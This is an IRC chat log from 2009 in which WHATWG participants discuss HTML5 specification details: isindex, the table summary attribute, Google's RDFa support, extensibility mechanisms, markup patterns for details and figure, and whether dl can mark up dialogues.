sorry, dfeojm

[13:08:00.0000] <hsivonen>
annevk2: do you mean the submission magic of isindex?

[13:15:00.0000] <annevk42>
hsivonen, could be, also, in previous versions the <isindex> element was not a macro

[13:16:00.0000] <annevk42>
hsivonen, I think all the <hr> and <input> stuff was done through XBL or something

[13:34:00.0000] <zcorpan_>
Hixie: the link "HTML5" on whatwg.org should link to the multipage version

[13:44:00.0000] <annevk42>
I wonder what happens when fakepath guy learns about the rest of things HTML5 defines

[13:44:01.0000] <annevk42>
the things*

[13:45:00.0000] <zcorpan_>
annevk42: you could find out

[13:46:00.0000] <zcorpan_>
maybe we should make a list of the top ten ugly compat hacks in html5

[13:46:01.0000] <zcorpan_>
although some of them will maybe only appear as ugly for implementors

[13:48:00.0000] <zcorpan_>
i bet authors couldn't care less about the hacks involved with document.all

[13:48:01.0000] <zcorpan_>
(which, from an implementation pov, is ten times uglier than fakepath)

[13:50:00.0000] <annevk42>
it would have to be non-obsolete features

[13:50:01.0000] <annevk42>
i suppose we could obsolete .value in favor of .files

[13:51:00.0000] <annevk42>
that'd make it comparable :p

[13:51:01.0000] <zcorpan_>
but that's not really helpful :)

[13:54:00.0000] <Philip`>
Are there any script interfaces that are currently considered obsolete?

[13:54:01.0000] <Philip`>
(Seems a bit pointless in practice since validators can't warn you about them)

[13:55:00.0000] <zcorpan_>
document.all is obsolete

[13:55:01.0000] <zcorpan_>
IDL attributes that map to obsolete attributes are obsolete

[13:56:00.0000] <annevk42>
Philip`, error consoles could

[13:58:00.0000] <zcorpan_>
so does anyone know how <applet> works?

[14:06:00.0000] <annevk42>
zcorpan_, you could make an applet and figure it out... I once thought of doing that but then thought it'd be a waste of time

[14:07:00.0000] <zcorpan_>
i like that it has an alt attribute

[14:08:00.0000] <zcorpan_>
<applet alt="install java">upgrade your browser</applet>

[14:10:00.0000] <MikeSmith>
there seems to be a bug in my OSX Opera 10 that when a contenteditable part of page first receives focus, I get no visual indicator that it's editable -- i.e., on OSX, a blue outline around the element boundary. but when I switch windows to another app and then switch back to Opera, it does now show the blue outline

[14:11:00.0000] <annevk42>
zcorpan_, one of those is not universally supported

[14:12:00.0000] <zcorpan_>
MikeSmith: the blue outline gets easily confused

[14:13:00.0000] <zcorpan_>
MikeSmith: feel free to file a bug :)

[14:15:00.0000] <MikeSmith>
zcorpan_: OK

[14:15:01.0000] <MikeSmith>
hmm, I notice on Linux it never shows any indicator at all to signal that it's editable

[14:16:00.0000] <MikeSmith>
well, except for the caret

[14:16:01.0000] <zcorpan_>
no I-beam cursor?

[14:17:00.0000] <MikeSmith>
zcorpan_: yeah, that's what I meant be caret -- it does show that, blinking cursor

[14:17:01.0000] <zcorpan_>
the caret is the blinking thing, the cursor is the thing you move with the mouse :)

[14:18:00.0000] <MikeSmith>
roger that

[14:25:00.0000] <hsivonen>
Lachy: the author guide probably shouldn't tell authors that <svg:foo> is OK in XHTML

[14:26:00.0000] <hsivonen>
Lachy: it's better to encourage text/html-compatible habits

[14:26:01.0000] <zcorpan_>
polyglot++

[14:26:02.0000] <Lachy>
hsivonen, send mail with all your comments

[14:27:00.0000] <hsivonen>
Lachy: to you or to a list. does bugzilla work for you?

[14:27:01.0000] <Lachy>
bugzilla is fine.

[14:27:02.0000] <hsivonen>
ok

[14:27:03.0000] <Lachy>
just select the authoring guide project

[14:31:00.0000] <Lachy>
oh, it's been renamed to 'Lachlan Hunt's "HTML5 Reference"' http://www.w3.org/Bugs/Public/enter_bug.cgi?product=HTML%20WG&component=Lachlan%20Hunt%27s%20%22HTML%205%20Reference%22

[14:33:00.0000] <jgraham_>
Makes you sound like a wannabe celebrity

[14:34:00.0000] <Lachy>
I am

[14:42:00.0000] <zcorpan_>
is that to differentiate it from 'W3Schools' "HTML5 Reference"'?

[14:44:00.0000] <zcorpan_>
funny that keygen and isindex are both different from gecko in terms of macroness

[14:45:00.0000] <zcorpan_>
hsivonen: are you going to propose that isindex should be a normal void element?

[14:47:00.0000] <hsivonen>
zcorpan_: I'm not sure. I wasn't going to

[14:48:00.0000] <zcorpan_>
hsivonen: btw, http://tc.labs.opera.com/html/parsing/doctype/001.htm doesn't work with the html5 parser enabled

[14:49:00.0000] <zcorpan_>
says doc.body is null

[14:51:00.0000] <annevk42>
<isindex> does make more sense as a macro given how it's rendered


2009-09-15
[17:44:00.0000] <sicking>
Hixie: ping

[17:59:00.0000] <roc>
annevk2: <hr> and <input> has never been done through XBL

[17:59:01.0000] <roc>
well, <input> was as an experiment that never shipped

[18:33:00.0000] <othermaciej>
Lachy: are you about?

[20:00:00.0000] <boblet>
does anyone know what the deal is with http-equiv="X-UA-Compatible" in HTML5? not allowed b/c versioning? jury is out? other?

[20:24:00.0000] <mpilgrim>
if anyone had "2.5 hours" in the "how long will it take john foliot to lose his shit after we start discussing summary" pool, you're a winner!

[20:41:00.0000] <othermaciej>
I have reminded John that he signed off on the current draft text and encouraged him to dial down his rhetoric accordingly

[21:06:00.0000] <Hixie>
boblet: it's redundant, since all versions of browsers are required to act the same way. :-)

[21:07:00.0000] <boblet>
Hixie: heh, nice. Thanks for the answer

[21:14:00.0000] <Hixie>
/me blinks at jf's e-mail

[21:14:01.0000] <Hixie>
i thought what the spec said today was in fact jf's idea

[21:14:02.0000] <Hixie>
it's certainly not what i want the spec to say

[21:30:00.0000] <MikeSmithX>
Hixie: about r3852, if <span title=&> is now not a parse error, then title=&&> and ...title=&&&>, etc., are not either, right?

[21:32:00.0000] <Hixie>
title=&& never was, as far as i know, and title=&&> was only because of the >, which is now no longer an error case (never was, according to the syntax section)

[21:34:00.0000] <MikeSmithX>
OK

[23:36:00.0000] <hsivonen>
Philip`: regarding your email to rdf-in-xhtml-tf, I find it more disappointing that parties other than Google claimed that Google implements RDFa

[00:22:00.0000] <MikeSmithX>
hsivonen: patch - http://bugzilla.validator.nu/attachment.cgi?id=115

[00:23:00.0000] <MikeSmithX>
for http://bugzilla.validator.nu/show_bug.cgi?id=653

[00:24:00.0000] <MikeSmithX>
seems like a dead-simple change, but just want to make sure I didn't miss anything elsewhere

[00:45:00.0000] <hsivonen>
MikeSmith: looks good

[00:46:00.0000] <othermaciej>
hsivonen: what do you think of the PFWG idea of issuing a validator warning every time a <table> element is used (effectively)?

[00:48:00.0000] <hsivonen>
othermaciej: I think it doesn't make sense to issue a warning on every table especially if the PFWG position is along the lines that summary isn't always necessary but the feature must remain for use when the table is confusing enough to need it

[00:49:00.0000] <hsivonen>
othermaciej: as an aside, I haven't fully reviewed the proposed text yet, but I noticed that one of the sample summaries contains data that any screen reader that doesn't suck should be able to voice from the table model given headers marked up as <th>

[00:50:00.0000] <hsivonen>
suggesting that authors include such text because AT vendors don't get their act together seems to get Priority of Constituencies the wrong way

[00:50:01.0000] <othermaciej>
hsivonen: Cynthia's comments about autogenerated summary seem to be related

[00:51:00.0000] <Philip`>
hsivonen: Those people didn't have any way to verify Google's claims (until now), so it doesn't seem unreasonable for them to have assumed Google did something sane

[00:52:00.0000] <hsivonen>
Philip`: maybe my default assumption in the absence of evidence to contrary was correct but more cynical than other people's

[00:53:00.0000] <othermaciej>
it seems to me that if we want to consider autogenerated summary, it's much better for the UA/AT side to generate it, than the authoring tool side

[00:53:01.0000] <hsivonen>
othermaciej: indeed

[00:53:02.0000] <othermaciej>
hsivonen: anyway - would be good to have some level-headed mailing list feedback on this once you have reviewed the proposal enough

[00:54:00.0000] <hsivonen>
othermaciej: ok

[00:54:01.0000] <hsivonen>
Philip`: note that I don't mean to disparage Google in any way. That's just my default assumption about *any* even vaguely Namespace-related software--that I assume it's not correct until shown correct

[00:56:00.0000] <Philip`>
hsivonen: It seems reasonable to assume they'll have a few bugs, but it also seems reasonable to assume they'll have at least attempted to do something basically correct and not just totally ignored the whole specification

[00:56:01.0000] <hsivonen>
Philip`: fair enough

[00:57:00.0000] <hsivonen>
Philip`: indeed, I didn't expect the deviation from the spec to be as great as you have shown

[00:57:01.0000] <Philip`>
It seems kind of like whoever designed Google's RDFa support just read the RDFa Primer and didn't bother with the proper spec or with understanding RDF or namespaces at all

[00:57:02.0000] <othermaciej>
so they implemented RegexpDFa?

[00:58:00.0000] <hsivonen>
Philip`: it's also possible that whoever designed it understood it and deemed the specced approach too complex

[00:58:01.0000] <Philip`>
/me doesn't mean to be personally offensive to whoever designed or implemented it, but maybe he does because it seems pretty rubbish :-p

[01:01:00.0000] <Philip`>
hsivonen: Too complex to implement, or too complex to author?

[01:01:01.0000] <othermaciej>
the nested types bug is surprising

[01:01:02.0000] <othermaciej>
er, nested properties

[01:02:00.0000] <hsivonen>
Philip`: to author, because I'd assume Google can get software implemented

[01:03:00.0000] <Philip`>
othermaciej: Doesn't seem too surprising giving that they seemingly don't support @datatype, and in the absence of @datatype RDFa says you shouldn't recurse into property elements (they should just be treated as XMLLiterals instead)

[01:04:00.0000] <othermaciej>
Philip`: I see

[01:04:01.0000] <hsivonen>
Philip`: whoa! does RDFa default to XMLLiterals as opposed to plain strings for property values?

[01:04:02.0000] <Philip`>
(You have to use datatype="" to stop that XMLLiteral behaviour)

[01:04:03.0000] <hsivonen>
interesting!

[01:04:04.0000] <Philip`>
hsivonen: Yes, though I think they're thinking of changing that in RDFa 1.1

[01:05:00.0000] <Philip`>
(Well, it defaults to XMLLiterals if there are any element children - if it's just text then it's an untyped string literal)

[01:05:01.0000] <hsivonen>
(I guess this reveals that I've never taken the time to be exhaustive in review of RDFa)

[01:05:02.0000] <hsivonen>
(I've stopped at earlier issues)

[01:06:00.0000] <hsivonen>
Philip`: ok. that's reasonable in a way

[01:06:01.0000] <Philip`>
hsivonen: If they wanted to make it easier to author, it seems there would be far better ways of doing that in a way that's still largely compatible with RDFa, e.g. do all the proper CURIE processing but then have a special hack for values with an undeclared prefix "v" or something

[01:07:00.0000] <hsivonen>
Philip`: good point

[01:08:00.0000] <Philip`>
What's the longest it should take for a message to reach a W3C list (if the author's never posted before and it does the slow authorisation stuff)?

[01:12:00.0000] <hsivonen>
why does the spec suggest a weird Mood–Grade table?

[01:12:01.0000] <hsivonen>
wouldn't the best way of making it accessible be making it non-weird?

[01:12:02.0000] <hsivonen>
/me is rather surprised to find the Mood–Grade in the main spec

[01:16:00.0000] <othermaciej>
what's Mood-Grade?

[01:16:01.0000] <hsivonen>
othermaciej: see http://www.whatwg.org/specs/web-apps/current-work/#the-table-element

[01:16:02.0000] <hsivonen>
othermaciej: search string "For instance, the following table:"

[01:17:00.0000] <jgraham_>
hsivonen: I think Hixie wanted a short but odd table

[01:17:01.0000] <jgraham_>
I agree it sucks though

[01:18:00.0000] <othermaciej>
that is a weird table

[01:18:01.0000] <hsivonen>
/me has trouble locating validator-sensitive text in the draft Cynthia posted

[01:19:00.0000] <jgraham_>
/me is disappointed but not too surprised that PFWG have retreated away from the compromise in the spec to something rather close to their originl position

[01:20:00.0000] <Hixie>
hsivonen: i needed a table that had table headers in the middle or that was otherwise not something that a brief scan of the table would show to be a simple table to understand

[01:20:01.0000] <othermaciej>
hsivonen: http://dev.w3.org/html5/pf-summary/Overview.html#guidance-for-conformance-checkers-0

[01:21:00.0000] <Hixie>
hsivonen: if you have any better suggestions for a table that really needs summary, let me know

[01:22:00.0000] <hsivonen>
othermaciej: ooh. Thanks.

[02:19:00.0000] <othermaciej>
what are the existing extensibility mechanisms in HTML5? ones I can think of: class, rel, meta, XML namespaces in XML syntax, data- attributes, "other applicable specifications" clause

[02:19:01.0000] <othermaciej>
did I miss any?

[02:19:02.0000] <jgraham_>
microdata?

[02:20:00.0000] <Hixie>
othermaciej: the faq has a whole bunch of them

[02:20:01.0000] <Hixie>
http://wiki.whatwg.org/wiki/FAQ#HTML5_should_support_a_way_for_anyone_to_invent_new_elements.21

[02:20:02.0000] <othermaciej>
jgraham_: duh!

[02:20:03.0000] <othermaciej>
Hixie: thanks

[02:22:00.0000] <othermaciej>
/me mulls over <script type="">, plugins, and extending APIs via JavaScript

[02:22:01.0000] <jgraham_>
/me thought that script libraries altering prototypes was considered bad form

[02:23:00.0000] <othermaciej>
I think I will stick to markup-level extensibility in what I'm writing for the most part

[02:24:00.0000] <annevk2>
roc, I meant the <hr> and <input> that are displayed when you use <isindex>

[02:24:01.0000] <othermaciej>
wasn't there a third registry besides meta and rel extensions?

[02:24:02.0000] <hsivonen>
othermaciej: do you have an opinion on the idea of allowing reverse-DNS identifiers in element name as an extension mechanism?

[02:25:00.0000] <Hixie>
othermaciej: http-equiv

[02:25:01.0000] <othermaciej>
hsivonen: mixed feelings

[02:26:00.0000] <othermaciej>
hsivonen: on the plus side... something that's clearly a prefix-based convention is likely be better than using XML-style namespaces

[02:28:00.0000] <othermaciej>
hsivonen: on the minus side... (a) reverse-DNS might be needlessly verbose compared to a registry system for prefixes; and (b) any system that decorates the name would be tempting to use for proprietary UA extensions but is totally unsuitable for such

[02:29:00.0000] <othermaciej>
(I say (b) because if a UA extension with a prefixey name becomes popular, then the spec may have to enshrine it with the funny name, thus violating the sanctity of the namespacing mechanism)

[02:29:01.0000] <hsivonen>
<com.netscape.blink>, <com.microsoft.marquee>

[02:29:02.0000] <hsivonen>
othermaciej: true, <com.apple.canvas> would have sucked big time

[02:29:03.0000] <Hixie>
com.netscape.table

[02:29:04.0000] <Hixie>
com.netscape.img

[02:30:00.0000] <Hixie>
actually com.mcom.img

[02:30:01.0000] <othermaciej>
that's different from CSS properties or APIs with a prefix, where it's somewhat practical to consider the possibility of multiple names

[02:30:02.0000] <othermaciej>
that might even be true for markup attributes

[02:30:03.0000] <hsivonen>
Hixie: were those purely unilateral or were there drafts for those under discussion at the time?

[02:30:04.0000] <othermaciej>
but not really for tag names

[02:30:05.0000] <Hixie>
hsivonen: img was unilateral, pretty sure table was too

[02:31:00.0000] <hsivonen>
Hixie: I thought <table> had a I-D going for it

[02:31:01.0000] <Hixie>
maybe

[02:31:02.0000] <Hixie>
<com.netscape.embed>

[02:32:00.0000] <Hixie>
<com.netscape.keygen>

[02:32:01.0000] <hsivonen>
Hixie: microdata and Namespaces have the same problem

[02:32:02.0000] <hsivonen>
anything that bakes a domain name in the identifier does

[02:32:03.0000] <Hixie>
microdata's naming problem isn't set in stone yet and i doubt we'll use what's in the spec now

[02:32:04.0000] <Hixie>
not sure what we'll use

[02:33:00.0000] <Hixie>
btw, using reverse dns tag names for extending the vocabulary for small-scale use (the usual reason people want this) is even worse than the browser unilateral extensions

[02:33:01.0000] <Hixie>
because it means you have no fallback for non-supporting UAs

[02:33:02.0000] <Hixie>
which is why class="" and data-*="" are the right solution

[02:34:00.0000] <Hixie>
but i've said this lots of times already

[02:35:00.0000] <hsivonen>
maybe we should have an ext attribute that is like class except it's new so it's better

[02:35:01.0000] <Hixie>
we could call it role=""!

[02:35:02.0000] <jgraham_>
/me doesn't see how fallback is related to the use of reverse dns

[02:36:00.0000] <Hixie>
it's not

[02:36:01.0000] <Hixie>
any mechanism that affects the tag name part is equally bad

[02:37:00.0000] <Hixie>
the point is that <cite class="book"> is better than <ext:book> or <com.example.book> (or <book> before being in a spec)

[02:38:00.0000] <jgraham_>
Oh, I thought you were saying it was bad in microdata for some reason

[02:38:01.0000] <Hixie>
oh no the fallback issue is unrelated to the microdata issue

[02:39:00.0000] <Hixie>
the microdata issue is that we want to have property names that are short, but want to allow vocabulary mixing

[02:39:01.0000] <hsivonen>
Hixie: btw, what's happing with the viewport meta state? If both iPhone and Fennec support it, it's a bit pointless to pretend it's not conforming

[02:39:02.0000] <Hixie>
which basically means requiring a registry for each vocabulary

[02:39:03.0000] <Hixie>
hsivonen: i guess someone should add it to the registry

[02:40:00.0000] <othermaciej>
does Fennec do the same thing with it that iPhone does?

[02:40:01.0000] <othermaciej>
(I'm not actually sure offhand what MobileSafari does with it)

[02:41:00.0000] <hsivonen>
othermaciej: I'm not sure. I just assumed the idea is to do the right thing with content that's already authored with awareness of MobileSafari

[02:41:01.0000] <Hixie>
i think safari uses it to define the dimensions of the ICB or something like that

[02:41:02.0000] <Philip`>
The fallback thing indicates a need to lets documents declare subclass relationships between elements

[02:41:03.0000] <Hixie>
or to define the dimensions of the viewport, and then it uses something that isn't the viewport to render the page or something like that

[02:41:04.0000] <hsivonen>
Philip`: we could use RDF for that

[02:41:05.0000] <Hixie>
Philip`: we could use an attribute called "class" to indicate that

[02:41:06.0000] <jgraham_>
Philip`: Using RDF boondoggles perhaps?

[02:41:07.0000] <Philip`>
e.g. use @profile to point to a thing that says com.example.book is a subclass of cite

[02:42:00.0000] <Hixie>
ok, i was being serious, i dunno about you three

[02:42:01.0000] <Hixie>
:-P

[02:42:02.0000] <Philip`>
and once that extensibility mechanism is deployed, it'll be much easier to extend the language

[02:42:03.0000] <Philip`>
/me is always serious

[02:42:04.0000] <othermaciej>
right, MobileSafari's zooming/panning is modeled as something other than scrolling, and thus it does not affect the CSS viewport

[02:47:00.0000] <Hixie>
huh

[02:48:00.0000] <annevk2>
/me notices lots of emails with the word "summary" in his inbox

[02:48:01.0000] <Hixie>
Jeremy suggsts using <details> <dt> ... <dd> ... </details> instead of <details> <legend> ... </legend> ... </details>

[02:48:02.0000] <Hixie>
that's not a bad idea

[02:49:00.0000] <othermaciej>
it's an intriguing idea

[02:50:00.0000] <othermaciej>
big plus: avoids the <legend> parsing issue without adding elements

[02:50:01.0000] <Hixie>
yeah

[02:51:00.0000] <annevk2>
and gives you a separate container for the contents of <details> making styling easier

[02:52:00.0000] <othermaciej>
I was thinking the <dd> seems unnecessary, but that's a good point about styling

[02:52:01.0000] <hsivonen>
what about applying the pattern to <figure>, too?

[02:52:02.0000] <othermaciej>
then we'd have to rename <figure> to start with "d"

[02:52:03.0000] <othermaciej>
<diagram>?

[02:52:04.0000] <annevk2>
digure

[02:53:00.0000] <hsivonen>
<figure><dd><img ...></dd><dt>caption here</dt></figure>

[02:53:01.0000] <Hixie>
i really don't see why y'all are so worried about either <details> or <figure>, to be honest

[02:53:02.0000] <hsivonen>
othermaciej: I don't think it follows that figure needs renaming

[02:54:00.0000] <annevk2>
Hixie, I was somewhat convinced with the argument that if authors cannot use it for the next decade because of IE it's not really better than XHTML 2.0

[02:54:01.0000] <annevk2>
though not entirely

[02:54:02.0000] <othermaciej>
Hixie: I don't think waiting a decade for them to be usable is a good tradeoff for avoiding creation of new elements

[02:54:03.0000] <hsivonen>
Hixie: I think you should take the worry as demand data just like popular class names.

[02:54:04.0000] <hsivonen>
Hixie: also, what annevk2 said about XHTML2 applies

[02:55:00.0000] <othermaciej>
Hixie: it's even more not a good tradeoff for using one existing element with a somewhat semantically appropriate name vs. another with a slightly less on-point name

[02:55:01.0000] <Hixie>
i guess i don't understand the demand

[02:55:02.0000] <Hixie>
i mean, sure, they're neat and all

[02:55:03.0000] <Hixie>
but they don't add much

[02:56:00.0000] <Philip`>
Presumably the features exist in the spec because people want to use them, and so it's not surprising that people are unhappy when they find they can't use them

[02:56:01.0000] <othermaciej>
especially since <caption> and <label> are arguably both more semantically appropriate than <legend> but can't be used due to technical difficulties

[02:56:02.0000] <hsivonen>
Hixie: everyone who has had to develop containers for a floating img+caption pair wants a <figure> they can use yesterday

[02:57:00.0000] <othermaciej>
the Cocoa equivalent of <details> is used all over Mac OS X UI

[02:57:01.0000] <othermaciej>
it's a great component for a UI toolbox

[02:58:00.0000] <Lachy>
I liked the idea of using <details> with <dt> and <dd>, though I'm also concerned about the compatibility issues that would be caused if authors started using it now before browser implementations are ready

[02:58:01.0000] <othermaciej>
it would be hard for script to make one as polished as a native implementation

[02:58:02.0000] <othermaciej>
if <details> didn't use <legend> it would get some native browser implementations a lot sooner

[02:58:03.0000] <Hixie>
othermaciej: why?

[02:58:04.0000] <Hixie>
Lachy: yeah, that's actually an argument for keeping <legend>, as far as i can tell

[02:59:00.0000] <othermaciej>
Hixie: is the "why?" regarding my last statement?

[02:59:01.0000] <Hixie>
yeah

[02:59:02.0000] <Hixie>
seems like fixing the <legend> bugs is easy

[02:59:03.0000] <Hixie>
at least compared to the magic involved in <details>

[02:59:04.0000] <Hixie>
maybe not for <figure>

[02:59:05.0000] <othermaciej>
for Safari/WebKit development, we prioritize implementing features that Web developers can actually use, preferably before IE6 disappears from the market

[02:59:06.0000] <Lachy>
the functionality provided though, such as the hiding/showing, and the rendering of +/- expander controls could interfere with sites using it before implementations ship

[03:00:00.0000] <Hixie>
othermaciej: they won't be able to use <details> before then anyway

[03:00:01.0000] <hsivonen>
maybe making V.nu whine about <details> would be better than using <legend>

[03:00:02.0000] <othermaciej>
so it's basically not on our roadmap right now until the <legend> landscape changes (though we do intend to do something about <legend> parsing soonish)

[03:01:00.0000] <othermaciej>
Hixie: unless they do some script-based fallback for non-supporting UAs

[03:02:00.0000] <othermaciej>
it seems easier to fake <details> with script than <canvas>, and the latter has been done to some rough degree of quality

[03:03:00.0000] <othermaciej>
hsivonen: the <dt>/<dd> pattern even for containers that don't start with "d" is growing on me

[03:03:01.0000] <othermaciej>
it kind of makes sense to generalize them as a label/item pair for different contexts

[03:04:00.0000] <Hixie>
i think i might add other <dx> elements to the parser even before we define such an element, btw

[03:04:01.0000] <Hixie>
to make future introduction of such an element easier

[03:04:02.0000] <Hixie>
especially if we start using <dt> everywhere

[03:04:03.0000] <othermaciej>
that seems wise

[03:05:00.0000] <jgraham_>
Faking <details> really isn't that hard, so there seems no reason not to use it now if it isn't broken at the parser level

[03:05:01.0000] <Lachy>
Hixie, what would <dx> mean?

[03:05:02.0000] <Philip`>
/me finds the problem with dt/dd is remembering which order they go in

[03:05:03.0000] <Hixie>
Lachy: <ds> has been suggested for stage directions in <dialog>

[03:05:04.0000] <Philip`>
(At least I can understand it as term/definition for <dl>, but that wouldn't help in any other contexts)

[03:05:05.0000] <Hixie>
Lachy: dunno what other elements we might introduce, off-hand

[03:05:06.0000] <hsivonen>
Hixie: Instead of adding more stuff for <dialog>, <dialog> should go the way of <bb> and <datagrid>

[03:06:00.0000] <jgraham_>
I am more worried about the effect othermaciej mentioned (where implementors continually consider something low priority becuase IE doesn't support it) than the "authors might accidentially poison the well" argument

[03:06:01.0000] <Hixie>
hsivonen: yeah that's possible too

[03:06:02.0000] <Hixie>
hsivonen: but might still be useful to have some elements we can introduce later that already parse well

[03:07:00.0000] <Lachy>
Hixie, it makes no sense to try and maintain the fiction that <dl> can't be used for dialogues

[03:07:01.0000] <Lachy>
and thus keeping <dialog> is pointless

[03:07:02.0000] <Hixie>
<dl> definitely can't be used for dialogs

[03:07:03.0000] <othermaciej>
jgraham_: it's not just "IE doesn't support it" but "no obvious way to patch around old (or slow-to-implement) browsers"

[03:07:04.0000] <Hixie>
it makes absolutely no sense to use <dl> for dialogs

[03:08:00.0000] <jgraham_>
othermaciej: Yes, I was imprecise

[03:08:01.0000] <Lachy>
Hixie, why?

[03:08:02.0000] <othermaciej>
IE doesn't support <video> but it's still totally valuable given the fallback capabilities

[03:08:03.0000] <othermaciej>
Lachy: does anyone actually use <dl> for marking up conversations?

[03:09:00.0000] <othermaciej>
I am not aware of examples

[03:09:01.0000] <Hixie>
Lachy: it'd be like using <ol> for a postal address

[03:09:02.0000] <Lachy>
off hand, I can only think of the example in the HTML4 spec that used it

[03:09:03.0000] <Hixie>
Lachy: it superficially has a similar structure, but the semantic is no match at all

[03:09:04.0000] <jgraham_>
(it doesn't seem such a stretch to say that a conversation is a set of name-value groups where each name is the name and each value is the spoken text)

[03:10:00.0000] <othermaciej>
Lachy: if the HTML4 spec example is the only use, then it sounds like it would be a fiction to say it *can* be used for dialogs

[03:10:01.0000] <Hixie>
"doesn't seem such a stretch" is how we know it's not the right solution

[03:10:02.0000] <Lachy>
Hixie, dl is nothing but a general purpose assoication list. Pretending it has more semantics than that isn't helpful

[03:10:03.0000] <Hixie>
you wouldn't need to say that if it wasn't a stretch

[03:10:04.0000] <Hixie>
Lachy: a conversation is not an association list.

[03:10:05.0000] <hsivonen>
/me wonders if semantics are a problem or a solution here

[03:10:06.0000] <Lachy>
othermaciej, in that case, I'd argue that basing the design of <dialog> on <dl> is bad design

[03:10:07.0000] <jgraham_>
Hixie: Not really. It is a "group of name-value data"

[03:11:00.0000] <Lachy>
Hixie, it associates a speaker with what they said

[03:11:01.0000] <Philip`>
Maybe someone should try to get actual data on how <dl> is used, rather than guessing

[03:11:02.0000] <Hixie>
jgraham_, Lachy: i really couldn't disagree more

[03:11:03.0000] <othermaciej>
I wouldn't use an association list to represent a conversation in the languages that support them

[03:12:00.0000] <othermaciej>
or any other form of map

[03:12:01.0000] <Hixie>
exactly

[03:12:02.0000] <Philip`>
othermaciej: In programming languages they're unordered and usually have unique keys, which is completely unlike <dl>

[03:12:03.0000] <jgraham_>
Hixie: I'm not arguing that I like it being used that way or anything. I'm just arguing that it is impossible to rule out from the current spec text

[03:12:04.0000] <othermaciej>
my understanding of <dl> is that as with <ul>, order is not important; only the name/value mapping is important

[03:12:05.0000] <othermaciej>
but in a conversation, the order is primary, and labels are secondary

[03:13:00.0000] <Hixie>
jgraham_: if you think a conversation is an "association list" or a "group of name-value data", then you need to get out more :-P

[03:13:01.0000] <Lachy>
Many people use cite and blockquote for conversations anyway

[03:13:02.0000] <othermaciej>
it would be easier to make sense of a conversation with only statements in order and no speaker labels, than to make sense of it with randomly ordered statements listed per speaker

[03:13:03.0000] <Lachy>
maybe we should just allow that

[03:14:00.0000] <jgraham_>
othermaciej: The spec says that order may be significant

[03:14:01.0000] <Hixie>
othermaciej: actually, <dl>'s order can be important -- e.g. some of the <dl>s in the spec are like switch statements

[03:14:02.0000] <Philip`>
othermaciej: That's just a matter of how you interpret the markup, which seems fundamentally different to association lists in programming languages where it's generally impossible to represent a meaningful order

[03:14:03.0000] <othermaciej>
but the opposite is true for an actual list of definitions

[03:14:04.0000] <annevk2>
othermaciej, note that Hixie often uses <dl>'s where the order is important

[03:14:05.0000] <othermaciej>
Philip`: Lisp has association lists which are in fact ordered (but where relying on the order is considered poor form)

[03:14:06.0000] <Lachy>
whether or not the order is relevant is entirely dependent on context. It can't be determined based on markup alone for a <dl>

[03:15:00.0000] <othermaciej>
I guess I am wrong about the philosophy of <dl> then

[03:15:01.0000] <Philip`>
(By "generally" what I mean is "in Perl and Python, because I don't know how they work in other languages" :-) )

[03:15:02.0000] <jgraham_>
Hixie: specifically I think of the transcription of a conversation as an ordered set of key-value pairs where each key is the speaker (and possibly the timestamp) and each value is waht they said at that point

[03:15:03.0000] <othermaciej>
I believe the term "association list" comes from Lisp

[03:16:00.0000] <Philip`>
I thought everything in Computer Science came from Lisp

[03:16:01.0000] <othermaciej>
Java also has an ordered hashtable type

[03:16:02.0000] <jgraham_>
javascript has ordered Objects (although the spec doesn't quite endorse this)

[03:16:03.0000] <othermaciej>
but name lookup is considered primary, and indexing secondary

[03:16:04.0000] <Philip`>
I presume all these things still require keys to be unique

[03:16:05.0000] <Philip`>
unlike <dl>

[03:16:06.0000] <Hixie>
jgraham_: i don't think that even describes an irc log, let along any conversation

[03:16:07.0000] <othermaciej>
C++ has multimap with non-unique keys

[03:16:08.0000] <Hixie>
jgraham_: actions, joins, parts, netsplits, etc.

[03:17:00.0000] <othermaciej>
but it doesn't have ordering

[03:17:01.0000] <jgraham_>
Hixie: Those aren't strictly part of the conversation

[03:17:02.0000] <othermaciej>
in C++ STL data structures, you would represent a conversation as a vector<> of pair<>s of strings, not any associative type

[03:17:03.0000] <Hixie>
jgraham_: someone leaving the conversation is a pretty critical part of a conversation

[03:17:04.0000] <othermaciej>
likely also for any other programming language

[03:17:05.0000] <Hixie>
/me thinks that this is part of the conversation too

[03:18:00.0000] <jgraham_>
Hixie: Arguably it is part of the context not part of the actual conversation.

[03:18:01.0000] <Hixie>
it's part of whatever we're marking up

[03:18:02.0000] <othermaciej>
the speaker's name is not a key, it's a label

[03:18:03.0000] <othermaciej>
that is an important difference in data structure terms

[03:18:04.0000] <jgraham_>
It is possible that there is no demand for marking up context-free conversations but <dialog> doesn't work any better here than <dl> 

[03:18:05.0000] <othermaciej>
a key is something by which you index

[03:18:06.0000] <othermaciej>
but you'd never index a conversation by speaker

[03:18:07.0000] <Philip`>
othermaciej: Seems like you'd have to use a vector<> of pair<>s of strings to represent the content of any <dl> too

[03:19:00.0000] <hsivonen>
http://adactio.com/journal/1607/ is disturbing

[03:19:01.0000] <Philip`>
so you'd be treating conversations the same as <dl>s

[03:19:02.0000] <jgraham_>
/me notes that the spec uses "name" not "key"

[03:19:03.0000] <othermaciej>
are <dl> terms intended to be unique?

[03:19:04.0000] <Hixie>
jgraham_: <dialog> probably needs to go, yes

[03:19:05.0000] <Hixie>
othermaciej: the spec doesn't say so yet, but it probably should

[03:20:00.0000] <jgraham_>
Hixie: I think that is for the best

[03:20:01.0000] <hsivonen>
Hixie: so now empirical data shows that the definitions for section, article and details suck

[03:20:02.0000] <Philip`>
"I realise that it’s too small to be considered scientifically accurate" - not sure why he says that, since tens of data points are usually enough to be statistically significant

[03:21:00.0000] <hsivonen>
and curiously, hgroup seems to be the clearest of the lot

[03:21:01.0000] <othermaciej>
hsivonen: I would interpret the study as saying that the section, article and footer element names and/or definitions suck

[03:21:02.0000] <hsivonen>
othermaciej: fair enough

[03:21:03.0000] <Hixie>
i don't think the bits he quoted are necessarily the best bits to quote, but yeah, section vs article needs help, certainly

[03:21:04.0000] <Hixie>
someone mail me that url :-)

[03:22:00.0000] <Philip`>
Clearly the definitions should define themselves in terms of the name of the element, e.g. "<section> represents a section", and then people will find it harder to mix them up

[03:22:01.0000] <annevk2>
Hixie, at the end he says he'll post to the list

[03:22:02.0000] <hsivonen>
Hixie: mailed

[03:23:00.0000] <othermaciej>
given those quoted excerpts, I can see how people got <article> and <section> backwards

[03:23:01.0000] <Hixie>
thanks

[03:23:02.0000] <Hixie>
Philip`: yeah, that's kinda my point

[03:23:03.0000] <jgraham_>
